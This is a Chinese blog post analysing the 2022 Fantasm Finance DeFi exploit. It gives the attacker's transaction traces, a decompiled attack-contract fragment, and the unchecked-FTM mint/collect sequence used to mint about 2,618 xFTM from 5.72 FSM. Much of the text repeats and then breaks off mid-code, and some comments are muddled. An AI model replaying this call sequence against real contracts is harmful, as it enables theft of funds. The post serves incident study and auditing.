真实攻击案例分析系列之Fantasm Finance攻击事件分析

小驹
更新于 2022-06-16 00:07
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一句话对这个漏洞进行总结：合约中的漏洞是个典型的逻辑漏洞，漏洞主要在Pool合约中的mint方法中，在mint方法中调用calcMint方法计算了铸造xFTM时需要的最少FTM和最少FSM，而合约代码只对FSM进行了销毁，却没有考虑FTM的情况，导致即使用户不输入FTM，也能获得xFTM。

# 1. 事件简介

> 2022年3月9日，根据项目方紧急公告，xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址，黑客利用完漏洞后将获利全部换成了ETH，并跨链至以太坊主网，经笔者统计，黑客获利1007 ETH，折合当时ETH美元价格约为273万美元。

今天我们从技术层面分析Fantasm Finance被攻击的全过程。在分析攻击过程之前，对Fantasm Finance项目需要有下面的前置背景知识。

# 2. 背景知识

## 2.1 区分四种币：FTM,FSM,xFTM,WFTM

**FTM** ：是`Fantom公链的内置货币`。

**FSM和xFTM** ：Fantasm Finance是一个Defi金融项目，FSM和xFTM都是Fantasm Finance发行的代币。在 Fantasm Finance，引入了一种去中心化的解决方案，通过部分抵押设计来扩大 FTM 代币的数量，其中 xFTM 的合成代币供应将部分由 FTM 支持，部分由 FSM 代币支持。`XFTM` 是一种分数算法合成代币，`在 Fantom公链上与 1 FTM 的价值挂钩`。

**WFTM** :黑客利用的都是FTM,FSM合成xFTM时的漏洞，整体都是围绕这三个展开，但黑客为了获得FSM时，使用了WFTM，WFTM是FTM的ERC20格式，关于WFTM黑客将50个FTM换成50个WFTM后，又通过uniswap，将50个WFTM换成FSM，将FSM应用到漏洞中。`WFTM只起到一个转换代币的作用，在漏洞利用中没有关键作用`。

项目官网： [](https://docs.fantasticprotocol.io/synthetic-tokens)[https://docs.fantasticprotocol.io/synthetic-tokens](https://docs.fantasticprotocol.io/synthetic-tokens)
![Untitled.png](https://img.learnblockchain.cn/attachments/2022/06/H1372bu062aa02959dc43.png)

根据介绍可得知，Fantasm Finance是`做合成代币`的，`xFTM`就是这个项目的合成代币，`由FTM和FSM这两个币支持，xFTM价格与FTM挂钩。`

## 2.2 如何保证xFTM与FTM的挂钩。

前面说了xFTM基本上与1FTM进行挂钩，那么是如何进行挂钩的呢？

在官方文档中，定义了CR,Collateral Ratio 质押比率。关于CR有下面几点需要理解：

参考[](https://docs.fantasticprotocol.io/mechanisms/collateral-ratio)[https://docs.fantasticprotocol.io/mechanisms/collateral-ratio](https://docs.fantasticprotocol.io/mechanisms/collateral-ratio)官方文档

* Fantastic Protocol 使用`抵押比率 (CR)` 进行铸造和赎回过程。抵押比率(CR) 将有由治理组织设定。
* CR在铸造和赎回过程中使用，它是一个分数，`表示在铸造或者赎回FTM时，xFTM占用的百分比。`
* CR`每小时以0.2%`的幅度进行涨跌。如果60分钟的时间加权平均价格(TWAP)超过1.005倍的FTM,CR上调;如果60分钟的时间加权平均价格(TWAP)低过0.995倍的FTM,CR下调
  初始的CR值为90%.

根据这部分可得知，铸造xFTM的所需要的FTM占比最初为90%，该CR比例随着DEX的预言机报价（xFTM:FTM）浮动，xFTM价格低于1FTM时，占比增加，高于时反之。

## 2.3 xFTM的铸造公式

那么铸造xFTM的公式是怎样的呢？
![Untitled1.png](https://img.learnblockchain.cn/attachments/2022/06/Lceu02tA62aa02ac0b118.png)

为了铸造1个xFTM,系统要求CR个FTM和(1-CR)个FSM,所以铸造公式为：
1  XFTM = CR*FTM + (1-CR)*FSM

根据上图得知，FTM占比剩余部分由FSM这个币来支撑，例如FTM占比90%，那么FSM就得占比10%

# 3. 攻击过程分析

根据攻击者的地址：

[](https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d)[https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d](https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d)

攻击过程通过攻击合约进行， 攻击者创建的攻击合约地址为：0x944b58c9b3b49487005cead0ac5d71c857749e3e

根据攻击发生的时间，找到攻击时的交易记录如下：
![Untitled2.png](https://img.learnblockchain.cn/attachments/2022/06/SBOz4S2s62aa02d69dac4.png)

这4条交易记录与攻击者的攻击流程一致，因此将攻击流程划分为下面的4步：

1. 创建攻击合约
2. 调用攻击合约的getWFTM函数
3. 调用攻击合约的0x671daed9函数
4. 调用攻击合约的Collect函数

下面我们会按照攻击者的攻击流程进行攻击过程推演。`**在这4步中，第1步，第2步，第3步的大部分都是做攻击准备，主要漏洞利用存在于3中的mint方法调用和4中的collect函数调用中。**`

## 3.1 创建攻击合约。

创建的攻击合约地址为：0x944b58c9b3b49487005cead0ac5d71c857749e3e

![Untitled3.png](https://img.learnblockchain.cn/attachments/2022/06/feS7K1FL62aa02e4d6797.png)

## 3.2 调用攻击合约中的getWFTM函数

这一步做了啥？
攻击合约调用`WFTM合约的deposit`方法，`将50个原生的FTM代币，换成了50个WFTM`。(从WFTM的代码合约中deposit函数，可以看到WFTM与FTM的兑换是1:1进行的)

从[交易详情](https://ftmscan.com/tx/0xe6872317c5d85dc2e1bf67ea2dc149b75d27e791359c061764f6e3ec81ef3e93)可以看到
![Untitled4.png](https://img.learnblockchain.cn/attachments/2022/06/RqOgzhML62aa02efb8c1d.png)

从攻击合约的反编译的代码中也可以看出来，getWFTM函数只是调用了stor1(槽一中的变量,也就是wrappedFtm合约地址)的deposit方法，根据上图中的FTM转移过程，猜测合约的函数只是调用了WFTM合约的deposit方法，所以stor1变量应该是WFTM的合约地址。

```solidity
def unknown527beca5() payable: 
  require ext_code.size(stor1)
  call stor1.deposit() with:
     value call.value wei
       gas gas_remaining wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=ΓÇ▓ 32
  require ext_call.return_data == ext_call.return_data[0]
```

WFTM代币的合约可以参考：
[](https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code)[https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code](https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code)

## 3.3 调用攻击合约的0x671daed9函数

调用该函数的交易hash为：0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9

该交易中涉及到的tokens的转移如下

1. 攻击合约(0x94)将`50 WFTM`通过uniswapV2Pair合约换出`5.721个FSM`，如下图中的1所标识的。
2. 攻击都将这5.721个FSM代币，`发送给了Pool合约`。如下图中2所标识的。
3. Pool合约将收到的5.721个FSM代币进行了`销毁`。如下图中的3所标识的。
4. 最后的一个是Pool合约将7.73个FSM转给了FSM代币的税务员(这个是代币兑换收取的费用)。与漏洞无关。
   ![Untitled5.png](https://img.learnblockchain.cn/attachments/2022/06/ivFagCNE62aa02fd965e5.png)

下面分析下0x671daed9函数的具体的调用过程，如下所示。

![Untitled6.png](https://img.learnblockchain.cn/attachments/2022/06/2Sbm2oQb62aa030ca23f8.png)

包括下面几个步骤,这些步骤中除了最后一步`mint操作`，其他的都是常规的正常操作。`mint操作中存在逻辑漏洞，黑客在调用mint方法后，利用程序的逻辑错误，burn 了5.721个FSM,给UserInfo添加了2618个xfmt。`

该函数中操作的步骤如下(在mint之前的操作都是攻击准备工作，从mint函数开始才是真正的漏洞利用过程)：

* approve：调用的是WFTM合约的approve方法。目的是将`WFTM代币`中，攻击合约(0x94)授权Router合约可处理的代币数量为`0xFFFFFFFFFFFFFFFF`。
* balanceOf：调用的是WFTM合约的balanceOf方法，查了攻击合约的WFTM的余额，也就是50 WFTM。
* getAmountsOut：调用 UniswapV2Router02 的getAmountsOut方法，计算50个WFTM可以换出5.72个FSM代币。
* swapExactTokensForTokens：调用UniswapV2Router02的swapExactTokensForTokens方法，完成兑换5.72个FSM代币的过程
* approve：调用Pool合约的approve访求，在fsm token合约中，攻击合约(0x94)授权Pool合约的地址的取款权限为`0xFFFFFFFFFFFFFFFF`
* mint：调用Pool合约的mint方法，该方法中存在逻辑漏洞，方法中计算出5.72个FSM可以mint出2618个xFTM,只接就burn掉5.72个FSM,却`没有验证用户输入的FTM是否正确`(正确的做法应该是计算出所需要的fsm和 ftm后，将fsm销毁，将ftm收回到Pool合约)。这就导致用户可以用很少的FSM就兑换出大量的xFTM(由背景知识中，可知大约1个xFTM=CR*FTM+(1-CR)FSM,CR通常为90%，逻辑代码就忽略了将占总交易价值90%左右的FTM收回到Pool合约)。

1. approve
   使用的参数：
   
   ```solidity
   "from":{
   "address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
   "balance":"0"
   }
   "to":{
   "address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //WFTM 合约地址
   "balance":"658429842400380886695645688"
   }
   "value":"0"
   "input":{
   "spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
   "amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
   }
   "output":{
   "0":true
   }
   
   底层调用的_approve方法
   "input":{
   "owner":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
   "spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
   "amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
   }
   ```
   
   将`WFTM代币`中，攻击合约(0x94)授权Router合约可处理的代币数量为`0xFFFFFFFFFFFFFFFF`（也就是10进制的115792089237316195423570985008687907853269984665640564039457584007913129639935)
2. balanceOf
   调用的是WFTM合约的balanceOf方法。查看了下攻击合约的balanceOf，现在攻击合约有`50个WFTM`。
   
   ```solidity
   "from":{
   "address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"  //发起者是攻击合约地址
   "balance":"0"
   }
   "to":{
   "address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //接收者是WFTM 合约地址
   "balance":"658429842400380886695645688"
   }
   "input":{
   "account":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
   }
   "output":{
   "0":"50000000000000000000" // 查询的结果是攻击合约在WFTM中的余额为50WFTM
   }
   ```
3. getAmountsOut
   调用了Router合约的getAmountsOut方法，`计算`出输入50个WFTM可以兑换出5.72个fsm。(返回的值为50和5.7)
   
   ```solidity
   "from":{
   "address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
   "balance":"0"
   }
   "to":{
   "address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
   "balance":"0"
   }
   "[INPUT]":"0xd06ca61f000000000000000000000000000000000000000000000002b5e3af16b18800000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000021be370d5312f44cb42ce377bc9b8a0cef1a4c83000000000000000000000000aa621d2002b5a6275ef62d7a065a865167914801" // getAmountsOut方法
   "output":{
   "amounts":[
   0:"50000000000000000000"
   1:"5720527256067865356"
   ]
   ```
4. swapExactTokensForTokens
   调用Router合约的swapExactTokensForTokens方法，`兑换`5.72个fsm.
   
   ```solidity
   "from":{
   	"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
   	"balance":"0"
   }
   "to":{
   	"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
   	"balance":"0"
   }
   "value":"0"
   "input":{
   	"amountIn":"50000000000000000000"
   	"amountOutMin":"5663321983507186702"
   	"path":[
   	0:"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83"
   	1:"0xaa621d2002b5a6275ef62d7a065a865167914801"
   	]
   	"to":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
   	"deadline":"1646833795"
   }
   "output":{
   "amounts":[
   	0:"50000000000000000000"
   	1:"5720527256067865356" 
   ]
   }
   ```
5. approve
   在fsm token合约中，攻击合约(0x94)授权Pool合约的地址的取款权限为`0xFFFFFFFFFFFFFFFF`
   
   ```solidity
   "from":{
   "address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
   "balance":"0"
   }
   "to":{
   "address":"0xaa621d2002b5a6275ef62d7a065a865167914801"  // FSM Token合约地址
   "balance":"0"
   }
   "value":"0"
   "input":{
   	"spender":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
   	"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
   }
   "output":{
   "0":true
   }
   ```
6. mint

我们先比较下`正常调用mint函数`与`攻击时调用mint函数`的 **参数的区别** ，首先我们可以随意找一个正常调用的交易，比如 0xfc618528f6c0d6ff84702358ee0768c552e43ddf13c8c124461c13cf9a94ce11 这个交易。

* **正常调用时的函数：**

正常调用时，uint256 _ftmIn = msg.value;  来自于 msg.value的_ftmln都是有fantom的原生币FTM的转入的，在这个交易中是20个FTM。在随后的操作中WethUtils.wrap(_ftmIn);中，将20个原生的FTM充值到Pool合约中。

* **攻击时的函数：**

uint256 _ftmIn = msg.value;  来自于 msg.value的_ftmln没有原生币FTM转入。在随后的操作中WethUtils.wrap(_ftmIn);中，将0个原生的FTM充值到Pool合约中。

在攻击时，调用Pool合约的mint方法，mint方法的功能是计算能铸造的xFTM的数量，并保存到userInfo[_minter].xftmBalance中(`第4步的Collect函数会从userInfo[_minter].xftmBalance中读取能铸造的xFT数量并铸造)`。mint方法输入的参数为_fantasmIn为5.72个fsm代币，和_minXftmOut为0。

```solidity
"from":{
	"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
	"balance":"0"
}
"to":{
	"address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
	"balance":"0"
}
"value":"0"
"input":{
	"_fantasmIn":"5720527256067865356"  // 输入值为fsm:5.72个，
	"_minXftmOut":"0"
}
"[OUTPUT]":"0x"
```

min函数中调用了calcMint函数，calcMint功能为根据输入的ftm和fsm计算出，可以铸造出来的xFTM的数量(_xftmOut)，需要的最少的ftm数量(_minFtmIn)，需要的最少的fsm的数量(_minFantasmIn)，税费(_fee)，通过函数返回可以看到5.72个fsm可以兑换2618个xftm。

calcMint函数的定义及调用calcMint函数时的参数与函数的返回值。

```jsx
/// @param _ftmIn Amount of FTM input.
/// @param _fantasmIn Amount of FSM input.
/// @return _xftmOut : the amount of XFTM output.
/// @return _minFtmIn : the required amount of FSM input.
/// @return _minFantasmIn : the required amount of FSM input.
/// @return _fee : the fee amount in FTM.
function calcMint(uint256 _ftmIn, uint256 _fantasmIn)
        public
        view
        returns (
            uint256 _xftmOut,
            uint256 _minFtmIn,
            uint256 _minFantasmIn,
            uint256 _fee
        )
输入值分别为：FTM的数量，FSM的数量，
输出值为：可以铸造的 XFTM的数量，所需要的FTM的数量,所需要的FSM的数量，手续费
```

```solidity
"input":{
	"_ftmIn":"0" // 输入的ftm为0
	"_fantasmIn":"5720527256067865356" // 输入的fsm为5.72个
}
"output":{
	"_xftmOut":"2618992620259886970084" // 可以铸造的xFTM为2618个
	"_minFtmIn":"2576962648420209746893" // 需要的最少的FTM为2576个
	"_minFantasmIn":"5720527256067865356" // 需要最少的fsm为5.72个
	"_fee":"7730887945260629240" // 需要收取的手续费为7.73个WFTM.
}
```

重点来了，到现在为至，一切正常，clacMint也给出了最少需要的FTM是2576个，但是遗憾的是，`后面并没有验证用户是否真正的传入了2576个FTM，导致在只输入FSM的情况下，并不需要补充FTM`，也就是如果FSM的占比为10%，那么就能用价值1u的FSM铸造价值10u的xFTM。。

如下面代码所示，这个漏洞可以说非常遗憾，`明明calcMint函数都算出来需要的最少的FTM了，却愣是没有校验…………`

![Untitled7.png](https://img.learnblockchain.cn/attachments/2022/06/QSNyq0T962aa03280a0ad.png)

## 3.4 调用collect函数

该函数位于Pool合约中，主要功能是根据`userInfo结构体`来铸造代币，如果userInfo[_sender].xftmBalance存在的话，就会`铸造xFTM`。

调用collect函数。交易hash为： 0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9

通过函数的输入和输出，可以看出来，攻击者合约调用了Pool合约的collect方法。

```solidity
"from":{
	"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //攻击者合约地址
	"balance":"0"
}
"to":{
	"address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" //Pool合约地址
	"balance":"0"
}
"value":"0"
"[INPUT]":"0xe5225381" //collect() 方法
"[OUTPUT]":"0x"
```

将交易hash放在tenderly中看下具体的调用。

调用关系为：攻击合约→Pool合约的Collect()→调用XFTM的_mint方法，从而完成了xFTM的铸造。
![Untitled8.png](https://img.learnblockchain.cn/attachments/2022/06/fnyKBzfa62aa033463209.png)

从上面的截图中，可以看到token的转移情况，直接从0x0地址给0x94攻击者转移了`2618个xFTM代币`。

从Pool合约的源代码中，也可以看到调用的过程

![Untitled9.png](https://img.learnblockchain.cn/attachments/2022/06/ILWsm09l62aa033e2f37a.png)

从下面的函数代码可以看出来，能mint多少xFTM，是由_fantasmAmount决定的，而_fantasmAmount参数直接来源于userInfo[_sender].xftmBalance

```solidity
/**
     * @notice collect all minting and redemption
     */
    function collect() external nonReentrant {
        address _sender = msg.sender;
        require(userInfo[_sender].lastAction < block.number, "Pool::collect: <minimum_delay");

bool _sendXftm = false;
        bool _sendFantasm = false;
        bool _sendFtm = false;
        uint256 _xftmAmount;
        uint256 _fantasmAmount;  //这里是参数定义。
        uint256 _ftmAmount;

// Use Checks-Effects-Interactions pattern
        if (userInfo[_sender].xftmBalance > 0) {
            _xftmAmount = userInfo[_sender].xftmBalance;
            userInfo[_sender].xftmBalance = 0;
            unclaimedXftm = unclaimedXftm - _xftmAmount;
            _sendXftm = true;
        }

if (userInfo[_sender].fantasmBalance > 0) {
            _fantasmAmount = userInfo[_sender].fantasmBalance;   //取出调用者的FST的余额
            userInfo[_sender].fantasmBalance = 0;
            unclaimedFantasm = unclaimedFantasm - _fantasmAmount;
            _sendFantasm = true;
        }

if (userInfo[_sender].ftmBalance > 0) {
            _ftmAmount = userInfo[_sender].ftmBalance;
            userInfo[_sender].ftmBalance = 0;
            unclaimedFtm = unclaimedFtm - _ftmAmount;
            _sendFtm = true;
        }

if (_sendXftm) {
            xftm.mint(_sender, _xftmAmount);
        }

if (_sendFantasm) {
            fantasm.mint(_sender, _fantasmAmount);   // 这里是第384行，调用铸造方法._fantasmAmount参数对应着要铸造的数量，这里_fantasmAmount应该为2618
        }
```

# 4.总结

一句话对这个漏洞进行总结：合约中的漏洞是个典型的`逻辑漏洞`，漏洞主要在`Pool合约`中的`mint`方法中，在mint方法中调用calcMint方法计算了铸造xFTM时需要的最少FTM和最少FSM，而合约代码只对FSM进行了销毁，却`没有考虑FTM`的情况，导致即使用户不输入FTM，也能获得xFTM。

# 5.参考

https://dashboard.tenderly.co
https://www.tofreedom.me/fantasm-finance

1. 事件简介

2022年3月9日，根据项目方紧急公告，xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址，黑客利用完漏洞后将获利全部换成了ETH，并跨链至以太坊主网，经笔者统计，黑客获利1007 ETH，折合当时ETH美元价格约为273万美元。

今天我们从技术层面分析Fantasm Finance被攻击的全过程。在分析攻击过程之前，对Fantasm Finance项目需要有下面的前置背景知识。

2. 背景知识

2.1 区分四种币：FTM,FSM,xFTM,WFTM

FTM ：是Fantom公链的内置货币。

FSM和xFTM ：Fantasm Finance是一个Defi金融项目，FSM和xFTM都是Fantasm Finance发行的代币。在 Fantasm Finance，引入了一种去中心化的解决方案，通过部分抵押设计来扩大 FTM 代币的数量，其中 xFTM 的合成代币供应将部分由 FTM 支持，部分由 FSM 代币支持。XFTM 是一种分数算法合成代币，在 Fantom公链上与 1 FTM 的价值挂钩。

WFTM :黑客利用的都是FTM,FSM合成xFTM时的漏洞，整体都是围绕这三个展开，但黑客为了获得FSM时，使用了WFTM，WFTM是FTM的ERC20格式，关于WFTM黑客将50个FTM换成50个WFTM后，又通过uniswap，将50个WFTM换成FSM，将FSM应用到漏洞中。WFTM只起到一个转换代币的作用，在漏洞利用中没有关键作用。

项目官网： https://docs.fantasticprotocol.io/synthetic-tokens

根据介绍可得知，Fantasm Finance是做合成代币的，xFTM就是这个项目的合成代币，由FTM和FSM这两个币支持，xFTM价格与FTM挂钩。

2.2 如何保证xFTM与FTM的挂钩。

前面说了xFTM基本上与1FTM进行挂钩，那么是如何进行挂钩的呢？

在官方文档中，定义了CR,Collateral Ratio 质押比率。关于CR有下面几点需要理解：

参考 https://docs.fantasticprotocol.io/mechanisms/collateral-ratio官方文档

Fantastic Protocol 使用抵押比率 (CR) 进行铸造和赎回过程。抵押比率(CR) 将有由治理组织设定。
CR在铸造和赎回过程中使用，它是一个分数，表示在铸造或者赎回FTM时，xFTM占用的百分比。
CR每小时以0.2%的幅度进行涨跌。如果60分钟的时间加权平均价格(TWAP)超过1.005倍的FTM,CR上调;如果60分钟的时间加权平均价格(TWAP)低过0.995倍的FTM,CR下调初始的CR值为90%.

根据这部分可得知，铸造xFTM的所需要的FTM占比最初为90%，该CR比例随着DEX的预言机报价（xFTM:FTM）浮动，xFTM价格低于1FTM时，占比增加，高于时反之。

2.3 xFTM的铸造公式

那么铸造xFTM的公式是怎样的呢？

为了铸造1个xFTM,系统要求CR个FTM和(1-CR)个FSM,所以铸造公式为： 1 XFTM = CRFTM + (1-CR)FSM

根据上图得知，FTM占比剩余部分由FSM这个币来支撑，例如FTM占比90%，那么FSM就得占比10%

3. 攻击过程分析

根据攻击者的地址：

https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d

攻击过程通过攻击合约进行，攻击者创建的攻击合约地址为：0x944b58c9b3b49487005cead0ac5d71c857749e3e

根据攻击发生的时间，找到攻击时的交易记录如下：

这4条交易记录与攻击者的攻击流程一致，因此将攻击流程划分为下面的4步：

创建攻击合约
调用攻击合约的getWFTM函数
调用攻击合约的0x671daed9函数
调用攻击合约的Collect函数

下面我们会按照攻击者的攻击流程进行攻击过程推演。**在这4步中，第1步，第2步，第3步的大部分都是做攻击准备，主要漏洞利用存在于3中的mint方法调用和4中的collect函数调用中。**

3.1 创建攻击合约。

创建的攻击合约地址为：0x944b58c9b3b49487005cead0ac5d71c857749e3e

3.2 调用攻击合约中的getWFTM函数

这一步做了啥？攻击合约调用WFTM合约的deposit方法，将50个原生的FTM代币，换成了50个WFTM。(从WFTM的代码合约中deposit函数，可以看到WFTM与FTM的兑换是1:1进行的)

从交易详情可以看到

def unknown527beca5() payable: 
  require ext_code.size(stor1)
  call stor1.deposit() with:
     value call.value wei
       gas gas_remaining wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >=ΓÇ▓ 32
  require ext_call.return_data == ext_call.return_data[0]

WFTM代币的合约可以参考： https://ftmscan.com/address/0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83#code

3.3 调用攻击合约的0x671daed9函数

调用该函数的交易hash为：0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9

该交易中涉及到的tokens的转移如下

攻击合约(0x94)将50 WFTM通过uniswapV2Pair合约换出5.721个FSM，如下图中的1所标识的。
攻击都将这5.721个FSM代币，发送给了Pool合约。如下图中2所标识的。
Pool合约将收到的5.721个FSM代币进行了销毁。如下图中的3所标识的。
最后的一个是Pool合约将7.73个FSM转给了FSM代币的税务员(这个是代币兑换收取的费用)。与漏洞无关。

下面分析下0x671daed9函数的具体的调用过程，如下所示。

包括下面几个步骤,这些步骤中除了最后一步mint操作，其他的都是常规的正常操作。mint操作中存在逻辑漏洞，黑客在调用mint方法后，利用程序的逻辑错误，burn 了5.721个FSM,给UserInfo添加了2618个xfmt。

该函数中操作的步骤如下(在mint之前的操作都是攻击准备工作，从mint函数开始才是真正的漏洞利用过程)：

approve：调用的是WFTM合约的approve方法。目的是将WFTM代币中，攻击合约(0x94)授权Router合约可处理的代币数量为0xFFFFFFFFFFFFFFFF。
balanceOf：调用的是WFTM合约的balanceOf方法，查了攻击合约的WFTM的余额，也就是50 WFTM。
getAmountsOut：调用 UniswapV2Router02 的getAmountsOut方法，计算50个WFTM可以换出5.72个FSM代币。
swapExactTokensForTokens：调用UniswapV2Router02的swapExactTokensForTokens方法，完成兑换5.72个FSM代币的过程
approve：调用Pool合约的approve访求，在fsm token合约中，攻击合约(0x94)授权Pool合约的地址的取款权限为0xFFFFFFFFFFFFFFFF
mint：调用Pool合约的mint方法，该方法中存在逻辑漏洞，方法中计算出5.72个FSM可以mint出2618个xFTM,只接就burn掉5.72个FSM,却没有验证用户输入的FTM是否正确(正确的做法应该是计算出所需要的fsm和 ftm后，将fsm销毁，将ftm收回到Pool合约)。这就导致用户可以用很少的FSM就兑换出大量的xFTM(由背景知识中，可知大约1个xFTM=CR*FTM+(1-CR)FSM,CR通常为90%，逻辑代码就忽略了将占总交易价值90%左右的FTM收回到Pool合约)。

approve 使用的参数：

"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
"balance":"0"
}
"to":{
"address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //WFTM 合约地址
"balance":"658429842400380886695645688"
}
"value":"0"
"input":{
"spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
"output":{
"0":true
}

底层调用的_approve方法
"input":{
"owner":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" // 攻击合约地址
"spender":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}

将WFTM代币中，攻击合约(0x94)授权Router合约可处理的代币数量为0xFFFFFFFFFFFFFFFF（也就是10进制的115792089237316195423570985008687907853269984665640564039457584007913129639935)

balanceOf 调用的是WFTM合约的balanceOf方法。查看了下攻击合约的balanceOf，现在攻击合约有50个WFTM。

"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"  //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83" //接收者是WFTM 合约地址
"balance":"658429842400380886695645688"
}
"input":{
"account":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
}
"output":{
"0":"50000000000000000000" // 查询的结果是攻击合约在WFTM中的余额为50WFTM
}

getAmountsOut 调用了Router合约的getAmountsOut方法，计算出输入50个WFTM可以兑换出5.72个fsm。(返回的值为50和5.7)

"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"balance":"0"
}
"[INPUT]":"0xd06ca61f000000000000000000000000000000000000000000000002b5e3af16b18800000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000200000000000000000000000021be370d5312f44cb42ce377bc9b8a0cef1a4c83000000000000000000000000aa621d2002b5a6275ef62d7a065a865167914801" // getAmountsOut方法
"output":{
"amounts":[
0:"50000000000000000000"
1:"5720527256067865356"
]

swapExactTokensForTokens 调用Router合约的swapExactTokensForTokens方法，兑换5.72个fsm.

"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xf491e7b69e4244ad4002bc14e878a34207e38c29" // UniswapV2Router02
"balance":"0"
}
"value":"0"
"input":{
"amountIn":"50000000000000000000"
"amountOutMin":"5663321983507186702"
"path":[
0:"0x21be370d5312f44cb42ce377bc9b8a0cef1a4c83"
1:"0xaa621d2002b5a6275ef62d7a065a865167914801"
]
"to":"0x944b58c9b3b49487005cead0ac5d71c857749e3e"
"deadline":"1646833795"
}
"output":{
"amounts":[
0:"50000000000000000000"
1:"5720527256067865356" 
]
}

approve 在fsm token合约中，攻击合约(0x94)授权Pool合约的地址的取款权限为0xFFFFFFFFFFFFFFFF

"from":{
"address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
"balance":"0"
}
"to":{
"address":"0xaa621d2002b5a6275ef62d7a065a865167914801"  // FSM Token合约地址
"balance":"0"
}
"value":"0"
"input":{
"spender":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
"amount":"115792089237316195423570985008687907853269984665640564039457584007913129639935"
}
"output":{
"0":true
}

mint

我们先比较下正常调用mint函数与攻击时调用mint函数的 参数的区别 ，首先我们可以随意找一个正常调用的交易，比如 0xfc618528f6c0d6ff84702358ee0768c552e43ddf13c8c124461c13cf9a94ce11 这个交易。

正常调用时的函数：

正常调用时，uint256 _ftmIn = msg.value; 来自于 msg.value的_ftmln都是有fantom的原生币FTM的转入的，在这个交易中是20个FTM。在随后的操作中WethUtils.wrap(_ftmIn);中，将20个原生的FTM充值到Pool合约中。

攻击时的函数：

uint256 _ftmIn = msg.value; 来自于 msg.value的_ftmln没有原生币FTM转入。在随后的操作中WethUtils.wrap(_ftmIn);中，将0个原生的FTM充值到Pool合约中。

在攻击时，调用Pool合约的mint方法，mint方法的功能是计算能铸造的xFTM的数量，并保存到userInfo[_minter].xftmBalance中(第4步的Collect函数会从userInfo[_minter].xftmBalance中读取能铸造的xFT数量并铸造)。mint方法输入的参数为_fantasmIn为5.72个fsm代币，和_minXftmOut为0。

"from":{
    "address":"0x944b58c9b3b49487005cead0ac5d71c857749e3e" //发起者是攻击合约地址
    "balance":"0"
}
"to":{
    "address":"0x880672ab1d46d987e5d663fc7476cd8df3c9f937" // Pool合约地址
    "balance":"0"
}
"value":"0"
"input":{
    "_fantasmIn":"5720527256067865356"  // 输入值为fsm:5.72个，
    "_minXftmOut":"0"
}
"[OUTPUT]":"0x"

calcMint函数的定义及调用calcMint函数时的参数与函数的返回值。

/// @param _ftmIn Amount of FTM input.
/// @param _fantasmIn Amount of FSM input.
/// @return _xftmOut : the amount of XFTM output.
